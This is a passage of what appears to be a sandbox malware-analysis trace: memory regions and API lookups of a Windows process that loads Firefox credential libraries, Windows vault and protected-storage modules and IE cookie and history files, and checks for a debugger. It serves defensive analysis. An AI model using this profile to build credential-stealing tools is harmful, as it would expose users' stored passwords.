end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 970 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 971 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 972 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 973 start_va = 0x776f0000 end_va = 0x776fbfff entry_point = 0x776f238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 974 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 975 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 976 start_va = 0x500000 end_va = 0x687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 977 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 978 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 979 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 980 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 981 start_va = 0x690000 end_va = 0x810fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 982 start_va = 0x820000 end_va = 0x1c1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 983 start_va = 0x73a80000 end_va = 0x73afffff entry_point = 0x73a937c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 984 start_va = 0x3a0000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 985 start_va = 0x1c20000 end_va = 0x1eeefff entry_point = 0x1c20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 986 start_va = 0x220000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 987 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 988 start_va = 0x1ef0000 end_va = 0x1ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 989 start_va = 0x1ef0000 end_va = 0x1ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 990 start_va = 0x1ef0000 end_va = 0x1ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 991 start_va = 0x74430000 end_va = 0x745e4fff entry_point = 0x74592823 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 992 start_va = 0x748e0000 end_va = 0x74911fff entry_point = 0x748e37f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 993 start_va = 0x74a10000 end_va = 0x74a16fff entry_point = 0x74a11120 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 994 start_va = 0x74370000 end_va = 0x7442efff entry_point = 0x74381dfc region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 995 start_va = 0x748b0000 end_va = 0x748d1fff entry_point = 0x748c5c70 region_type = mapped_file name = "mozglue.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll") Region: id = 996 start_va = 0x74300000 end_va = 0x74368fff entry_point = 0x74333cf4 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\SysWOW64\\msvcp100.dll" (normalized: "c:\\windows\\syswow64\\msvcp100.dll") Region: id = 997 start_va = 0x1ef0000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 998 start_va = 0x1ef0000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 999 start_va = 0x20c0000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 1000 start_va = 0x20d0000 end_va = 0x21cffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 1001 start_va = 0x2100000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 1002 start_va = 0x74280000 end_va = 0x742a6fff entry_point = 0x7429c589 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll") Region: id = 1003 start_va = 0x74260000 end_va = 0x74276fff entry_point = 0x74271aa0 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll") Region: id = 1004 start_va = 0x140000 end_va = 0x140fff entry_point = 0x140000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1005 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1006 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1007 start_va = 0x440000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1008 start_va = 0x2200000 end_va = 0x25f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002200000" filename = "" Region: id = 1009 start_va = 0x140000 end_va = 0x140fff entry_point = 0x140000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1010 start_va = 0x74210000 end_va = 0x7425efff entry_point = 0x74246402 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll") Region: id = 1011 start_va = 0x2600000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1012 start_va = 0x2600000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1013 start_va = 0x2600000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1014 start_va = 0x74940000 end_va = 0x74953fff entry_point = 0x74941da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1015 start_va = 0x74960000 end_va = 0x7496cfff entry_point = 0x74965b1d region_type = mapped_file name = "pstorec.dll" filename = "\\Windows\\SysWOW64\\pstorec.dll" (normalized: "c:\\windows\\syswow64\\pstorec.dll") Region: id = 1016 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1017 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1018 start_va = 0x2620000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 1019 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1020 start_va = 0x758e0000 end_va = 0x75962fff entry_point = 0x758e23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1021 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 1022 start_va = 0x72b70000 end_va = 0x735effff entry_point = 0x72b76b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1023 start_va = 0x76f70000 end_va = 0x76f74fff entry_point = 0x76f71438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1024 start_va = 0x74870000 end_va = 0x748abfff entry_point = 0x74873089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 1025 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x3c0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 1026 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 1027 start_va = 0x74cb0000 end_va = 0x74e4dfff entry_point = 0x74cde6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1028 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x3e0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1029 start_va = 0x3f0000 end_va = 0x3f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1030 start_va = 0x742d0000 end_va = 0x742fdfff entry_point = 0x742d16ed region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 1031 start_va = 0x400000 end_va = 0x413fff entry_point = 0x400000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1032 start_va = 0x3e0000 end_va = 0x3e7fff entry_point = 0x3e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1033 start_va = 0x420000 end_va = 0x42ffff entry_point = 0x420000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1034 start_va = 0x74970000 end_va = 0x7497bfff entry_point = 0x7497505c region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 1035 start_va = 0x2660000 end_va = 0x2c00fff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 1036 start_va = 0x2c10000 end_va = 0x2d10fff entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 1037 start_va = 0x430000 end_va = 0x431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1038 start_va = 0x74c60000 end_va = 0x74ca3fff entry_point = 0x74c763f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1039 start_va = 0x2660000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 1040 start_va = 0x75230000 end_va = 0x7524bfff entry_point = 0x7523a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1041 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x7522128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1042 start_va = 0x74b70000 end_va = 0x74babfff entry_point = 0x74b7145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1043 start_va = 0x2660000 end_va = 0x274ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 1044 start_va = 0x2770000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 1045 start_va = 0x74b50000 end_va = 0x74b54fff entry_point = 0x74b515df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1046 start_va = 0x74bf0000 end_va = 0x74bfffff entry_point = 0x74bf38c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1047 start_va = 0x1ff0000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 1048 start_va = 0x1ff0000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 1049 start_va = 0x2060000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 1050 start_va = 0x74bd0000 end_va = 0x74bdffff entry_point = 0x74bd1526 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 1051 start_va = 0x74bb0000 end_va = 0x74bc1fff entry_point = 0x74bb18f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 1052 start_va = 0x74b60000 end_va = 0x74b67fff entry_point = 0x74b6131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 1053 start_va = 0x74b00000 end_va = 0x74b37fff entry_point = 0x74b0990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1054 start_va = 0x27b0000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 1055 start_va = 0x74be0000 end_va = 0x74be5fff entry_point = 0x74be14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1056 start_va = 0x742b0000 end_va = 0x742c1fff entry_point = 0x742b4795 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 1057 start_va = 0x26b0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 1058 start_va = 0x2710000 end_va = 0x274ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 1059 start_va = 0x2a00000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1060 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1061 start_va = 0x27b0000 end_va = 0x28affff entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Thread: id = 43 os_tid = 0xa6c [0056.034] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="KERNEL32.dll" | out: Destination="KERNEL32.dll") returned 1 [0056.034] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x75dc0000) returned 0x0 [0056.035] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetSystemInfo" | out: DestinationString="GetSystemInfo") [0056.035] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd49ca) returned 0x0 [0056.035] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetPrivateProfileSectionNamesA" | out: DestinationString="GetPrivateProfileSectionNamesA") [0056.035] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetPrivateProfileSectionNamesA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75e4a1c9) returned 0x0 [0056.035] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="FindNextFileA" | out: DestinationString="FindNextFileA") [0056.035] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dfd53e) returned 0x0 [0056.035] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrcmpiW" | out: DestinationString="lstrcmpiW") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75ded5cd) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetModuleHandleA" | out: DestinationString="GetModuleHandleA") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1245) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetCurrentDirectoryA" | out: DestinationString="GetCurrentDirectoryA") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetCurrentDirectoryA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dfd4f6) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetVersionExA" | out: DestinationString="GetVersionExA") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetVersionExA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd3519) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LocalFree" | out: DestinationString="LocalFree") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd2d3c) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrcpyA" | out: DestinationString="lstrcpyA") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75df2a9d) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LocalAlloc" | out: DestinationString="LocalAlloc") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd168c) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CreateFileA" | out: DestinationString="CreateFileA") [0056.036] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd53c6) returned 0x0 [0056.036] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetFileSize" | out: DestinationString="GetFileSize") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd196e) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="MapViewOfFile" | out: DestinationString="MapViewOfFile") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd18f1) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="UnmapViewOfFile" | out: DestinationString="UnmapViewOfFile") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1826) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetCurrentProcess" | out: DestinationString="GetCurrentProcess") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1809) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetPrivateProfileStringA" | out: DestinationString="GetPrivateProfileStringA") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetPrivateProfileStringA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75de184c) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="ExpandEnvironmentStringsA" | out: DestinationString="ExpandEnvironmentStringsA") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75deeb39) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="WriteFile" | out: DestinationString="WriteFile") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1282) returned 0x0 [0056.037] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetFileAttributesA" | out: DestinationString="GetFileAttributesA") [0056.037] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd5414) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="ReadFile" | out: DestinationString="ReadFile") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd3ed3) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrcatA" | out: DestinationString="lstrcatA") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75df2b7a) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CreateDirectoryA" | out: DestinationString="CreateDirectoryA") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dfd526) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CreateFileMappingA" | out: DestinationString="CreateFileMappingA") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd5506) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetTempPathA" | out: DestinationString="GetTempPathA") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75df276c) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="DeleteFileA" | out: DestinationString="DeleteFileA") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd5444) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="IsDebuggerPresent" | out: DestinationString="IsDebuggerPresent") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="IsDebuggerPresent", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd4a5d) returned 0x0 [0056.038] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="SetUnhandledExceptionFilter" | out: DestinationString="SetUnhandledExceptionFilter") [0056.038] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="SetUnhandledExceptionFilter", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd87c9) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="UnhandledExceptionFilter" | out: DestinationString="UnhandledExceptionFilter") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="UnhandledExceptionFilter", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75df772f) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="TerminateProcess" | out: DestinationString="TerminateProcess") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75ded802) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="FindClose" | out: DestinationString="FindClose") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd4442) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="FindFirstFileA" | out: DestinationString="FindFirstFileA") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dde2ce) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="SetCurrentDirectoryA" | out: DestinationString="SetCurrentDirectoryA") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="SetCurrentDirectoryA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75de1834) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrlenW" | out: DestinationString="lstrlenW") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrlenW", Ordinal=0x0, 